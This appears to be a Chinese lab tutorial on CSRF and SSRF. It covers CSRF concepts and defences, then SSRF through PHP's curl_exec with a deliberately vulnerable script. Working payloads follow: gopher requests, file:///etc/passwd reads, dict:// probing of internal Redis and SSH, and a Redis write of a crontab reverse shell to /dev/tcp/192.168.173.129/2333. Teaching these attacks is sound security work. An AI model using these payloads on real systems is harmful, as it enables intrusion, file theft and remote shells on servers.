CSRF-SSRF
CSRF
CSRF(Cross-site request forgery)跨站请求伪造,是一种网络攻击技术,攻击者通过巧妙地构造网页或链接诱使用户在已经认证的网站上执行非用户意愿的操作。攻击过程中,用户在不知情的情况下,其浏览器会带着用户的会话凭证(如cookie)向目标网站发送请求,从而执行攻击者预设的操作,比如更改用户密码、转账等
绝大多数网站是通过Cookie等方式辨识用户身份,再予以授权的。所以要伪造用户的正常操作,最好的方法是通过XSS或链接欺骗等途径,让用户在本机(即拥有身份 cookie 的浏览器端)发起用户所不知道的请求。CSRF攻击会令用户在不知情的情况下攻击自己已经登录的系统
从上图可以看出,要完成一次CSRF攻击,受害者必须依次完成两个步骤:
- 登录受信任网站 A,并在本地生成 Cookie
- 在不登出A的情况下,访问危险网站 B
CSRF攻击的目的是滥用基本的Web功能。如果该网站可以使服务器上的状态变化,如改变受害者的电子邮件地址或密码,或购买的东西,强迫受害人检索数据等等。CSRF攻击会修改目标状态。在这一过程中,受害者会代替攻击者执行这些攻击,攻击者中不会收到响应,受害者会代替攻击者执行这些攻击。 在跨站请求伪造(CSRF)攻击中,攻击者经由用户的浏览器注入网络请求来破坏用户与网站的会话的完整性。浏览器的安全策略允许网站将HTTP请求发送到任何网络地址。此策略允许控制浏览器呈现的内容的攻击者使用此用户控制下的其他资源
需要对页面参数做修改时,可以使用burpsuit生成csrf poc,从而进行poc测试,测试完成之后一定要验证,浏览器执行了我们生成的poc测试,令数据产生变化。 CSRF和XSS的区别:XSS获取cookie,CSRF伪造跨站请求完成指令。CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏
CSRF可能存在的位置判断:
- 对目标网站增删改的地方进行标记,并观察其逻辑,判断请求是否可以被伪造
- 比如修改管理员账号,并不需要验证旧密码,导致请求容易被伪造
- 比如对于敏感信息的修改并没有使用安全的 token 验证,导致请求容易被伪造
- 确认凭证的有效期(这个问题会提高 CSRF 被利用的概率)
- 虽然退出或者关闭了浏览器,但是 cookie 仍然有效,或者 session 并没有及时过期,导致 CSRF 攻击变得简单
防御方法:
- 使用CSRF Token:
-
在每个表单或者状态更改请求中包含一个CSRF Token
-
服务器生成一个随机的Token,并将其存储在用户的会话中
-
表单提交时,客户端需要发送这个Token,服务器验证Token是否与会话中的Token匹配
- SameSite Cookie属性:
- 设置Cookie的SameSite属性为
Strict或Lax Strict模式下,Cookie不会被发送到外部站点Lax模式下,Cookie在某些情况下会被发送到外部站点,但不是在跨站请求的情况下
- 用户确认:
- 对于敏感操作,要求用户进行额外的确认步骤,比如输入密码、发送短信验证码等
- 限制会话生命周期:
- 减短会话Cookie的有效期,减少攻击者利用会话的时间窗口
- 安全管理:
- 在一些敏感操作的时候要对身份进行二次认证,比如修改账号时需
- 要校验旧密码 数据提交的时候使用POST不使用GET 使用http头中
- 的referer来限制界面
SSRF
SSRF(Server-Side Request Forgery,服务器端请求伪造) 是一种由攻击者构造请求,由服务端发起请求的一个安全漏洞,漏洞属于信息泄露的一种。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统,因为服务器请求可以穿越防火墙。 漏洞形成的原因大多是因为服务端提供了从其他服务器应用获取数据的功能且没有对目标地址作正确的过滤和限制。SSRF的攻击目标大多是网站的内部系统,只要当前服务器有向其他服务器发送请求的地方都可能存在SSRF漏洞。
前置知识
相关函数
file_get_content
file_get_contents()函数是PHP中一个用于读取文件内容的函数,它可以从一个文件中读取内容并返回该文件的内容字符串
string file_get_contents(string $filename, bool $use_include_path = false,resource $context = null, int $offset = 0, int $maxlen = null)
$filename :要读取的文件的名称,可以是本地文件或远程文件的 URL
$use_include_path :可选参数,默认为 false 。如果设置为 true ,则会在 include_path 中查找文件
$context :可选参数,通常不需要使用。可以使用 stream_context_create() 创建的上下文资源来控制
file_get_contents() 的行为
$offset :可选参数,默认为 0。从文件开始读取的字节数偏移量
$maxlen :可选参数,默认为 null 。要读取的最大字节数
利用点:可以从远程文件读取内容,相当于可以对内部的地址发起攻击的访问请求
fsockopen
fsockopen()函数是PHP中一个用于创建网络套接字连接的函数,可以用于连接到远程服务器并与其通信。它允许PHP脚本像一个网络客户端一样与远程服务器进行交互,例如发送和接收数据
resource fsockopen(string $hostname, int $port = -1, int &$errno = null, string &$errstr = null, float $timeout = null)
$hostname :要连接的主机名或 IP 地址
$port :可选参数,默认为 -1 。要连接的端口号。如果未指定端口,则使用默认端口
$errno :可选参数,默认为 null 。如果连接失败,则返回错误代码
$errstr :可选参数,默认为 null 。如果连接失败,则返回错误消息
$timeout :可选参数,默认为 null 。连接超时时间,以秒为单位。如果在指定的时间内无法建立连接,则函数返回 false
curl_exec
curl_exec()函数是 PHP 中一个用于执行 cURL 会话的函数,可以用于发送 HTTP 请求并获取响应。它允许 PHP 脚本像一个网络客户端一样与远程服务器进行交互,例如发送和接收数据
mixed curl_exec(resource $curl)
$curl :cURL 句柄,使用 curl_init() 创建
示例:
// 初始化 cURL 句柄
$curl = curl_init();
// 设置 cURL 选项
curl_setopt($curl, CURLOPT_URL, 'http://www.baidu.com/');
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
// 执行 cURL 会话
$response = curl_exec($curl);
// 关闭 cURL 句柄
curl_close($curl);
// 输出响应
echo $response;
在这个例子中,curl_exec()函数使用cURL句柄$curl执行HTTP GET请求,并返回服务器的响应。使用curl_setopt()函数设置cURL选项,例如请求的URL和返回数据的格式。最后,使用curl_close()函数关闭cURL句柄,并将响应输出到屏幕上
相关协议
gopher协议
Gopher在HTTP协议前是非常有名的信息查找系统,利用此协议可以对ftp,memchahe,mysql,telnet,redis,等服务进行攻击,并可以构造发送GET,POST请求包。 也就是利用Gopher协议可以通过SSRF漏洞,让服务器发送自己精心构造的GET或者POST请求包
gopher://<host>:<port>/<gopher-path>_后面接TCP数据流
利用条件:
- PHP版本大于等于5.3
- PHP.ini开启了php_curl
- gopher没有默认端口,需要指定:gopher://127.0.0.1:80
- 在传送GET或POST数据时需要经过二次URl编码
- url编码时回车换行需要使用%0d%0a替换%0a
- POST中的&也需要url编码
利用方式:
使用Gopher协议发送一个请求,环境为:nc起一个监听,curl发送gopher请求, nc启动监听,监听2333端口:nc -lp 2333 ,使用curl发送http请求
curl gopher://192.168.173.129:2333/_abcd
由于会吞掉一个字符,所以我们在前面加上_(字符随意即可)
在gopher协议中发送HTTP的数据,需要以下三步:
- 构造HTTP数据包
- URL编码、替换回车换行为%0d%0a
- 发送gopher协议
注意:
- 问号(?)需要转码为URL编码,也就是%3f
- 回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
- 在HTTP包的最后要加%0d%0a,代表消息结束
发送请求HTTP POST请求:
在 HTTP/1.1 协议中,POST 请求头中必须包含以下参数:
POST /test.php HTTP/1.1
Host: api.example.com
Content-Type: application/json
Content-Length: 56
Authorization: Bearer xyz123 ;该项不是必须的,仅在需要认证时必需
name=eagle
将上面的POST数据包进行URL编码并改为gopher协议
curl gopher://api.example.com/_POST%20/test.php%20HTTP/1.1%0d%0aHost:%20api.example.com%0d%0aContent-Type:application/x-www-form-urlencoded%0d%0aContent-Length:10%0d%0a%0d%0aname=eagle%0d%0a
file协议
File协议是一种用于访问本地文件系统的URI协议,它允许通过URI来直接引用文件系统中的文件。 file协议可以查看本地的文件,如果存在ssrf漏洞的主机挂载了一些内网的资源,比如samba等,就可以借助ssrf漏洞访问内网的资源了
file:///path/to/file
使用File协议,可以在Web浏览器或其他支持URI协议的应用程序中打开本地文件。例如,在Web浏览器中输入文件的File URI,可以在浏览器中打开该文件
curl -v 'file:///etc/passwd'
如下的url可以访问ssrf漏洞的主机本地的文件
curl http://192.168.173.88/?url=file:///etc/passwd
dict协议
Dict协议是一种用于在互联网上查询字典和词典的URI 协议。它通常用于查询特定词汇的定义、拼写或同义词等相关信息。Dict 协议使用 TCP 端口 2628 进行通信
dict://<hostname>:<port>/<database>/<strategy>:<word>
<hostname>:这是字典服务器的域名或IP地址,指定了客户端需要连接的服务器
<port>:这是字典服务器监听的端口号。如果省略,则默认为端口号2628,这是DICT协议的标准端口
<database>:这是字典数据库的名称,指定了要查询的字典。不同的字典服务器可能提供多个数据库,例如英英字典、同义词库、法律词典等
<strategy>:这是查询策略,它告诉服务器如何处理查询。常见的策略包括:
match:匹配整个单词
substring:匹配包含指定子字符串的单词
prefix:匹配以指定字符串为前缀的单词
regex:使用正则表达式匹配单词
<word>:这是要查询的单词或短语
编写一个php脚本, curl_exec函数是危害最大的函数,该代码是获取参数url的值,使用curl进行访问。 curl_exec的使用需要3个条件:
- PHP版本>=5.3
- 开启extension=php_curl.dll
- --wite-curlwrappers(编译PHP时用,此时不需要,可忽略)
<?php
$url = $_GET['url'];
$curlobj = curl_init($url);
echo curl_exec($curlobj);
?>
可以对内网IP地址扫描,在发现对应的端口之后,使用dict协议可以获取目标端口指纹 SSH服务的端口指纹
http://192.168.173.88/?url=dict://10.3.0.11:22
redis的端口指纹
redis是一种键值对数据库,在开发中常用作缓存数据库,缓存中会出现大量的敏感信息,比如用户登录的session,应用的api key等等,所以redis数据库发生数据泄漏,会导致很严重的后果。企业的redis数据库都会保护在内网中,不会对外开放的
http://192.168.173.88/?url=dict://172.17.0.3:6379
通过此方式探测redis端口指纹
可以使用dict协议执行命令,例如可以获取redis的变量
http://192.168.173.88/?url=dict://172.17.0.3:6379/get:<变量>
扩展:
-
redis所有的数据都是存放在内存中的,那么一旦重启redis,数据就会全丢
-
redis是可以支持数据持久化的,这个功能叫做RDB,启用了RDB之后,redis就会将键值数据保存在备份文件中
-
在redis中输入bgsave就会将键值数据保存到dir/dbfilename这个文件中
-
在redis中可以通过
set dir和set dbfilename来改变这个RDB文件的存放位置 -
如果redis中有个值是
<?php phpinfo();?>,保存位置被我们改成了/var/www/html/tz.php那么就可以利用成功了 -
下面将会以Linux任务计划crontab的配置文件被篡改来说明
-
crontab是Linux的任务计划,
/etc/contab文件中写的命令会按照contab表达式的时间周期自动执行
redis可以使用如下方式查看提交的内容
redis-cli # 进入redis命令行模式
monitor # 可以查看提交的内容,已经是否提交成功
keys * # 查看所有的key
get name # 查看name的值
config get dir # 查看config中dir的值
先访问如下地址,写入一个键值对mars:"\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.173.129/2333 0>&1\n\n"
# 实测payload中如果带有空格,就无法成功,但是可以转换为16进制来绕过
# 这里使用浏览器访问可能会有语法错误提示,以下面是否写入成功为准
http://192.168.173.88/?url=dict://api.example.com/set:mars:"\n\n\x2a/1\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/192.168.173.129/2333\x200\x3e\x261\n\n"
修改dir和dbfilename两个值
http://192.168.173.88/?url=dict://172.17.0.3:6379/config:set:dir:/etc/
# 注意容器中/etc目录下并没有写入权限,此处可以使用/tmp来做测试
http://192.168.173.88/?url=dict://172.17.0.3:6379/config:set:dir:/tmp/
# 查看一下redis中是否更换结束
127.0.0.1:6379> config get dir
1) "dir"
2) "/etc"
# 将数据库文件名设置为crontab,意图覆盖系统定时任务文件:
http://192.168.173.88/?url=dict://172.17.0.3:6379/config:set:dbfilename:crontab
127.0.0.1:6379> config get dbfilename
1) "dbfilename"
2) "crontab"

浙公网安备 33010602011771号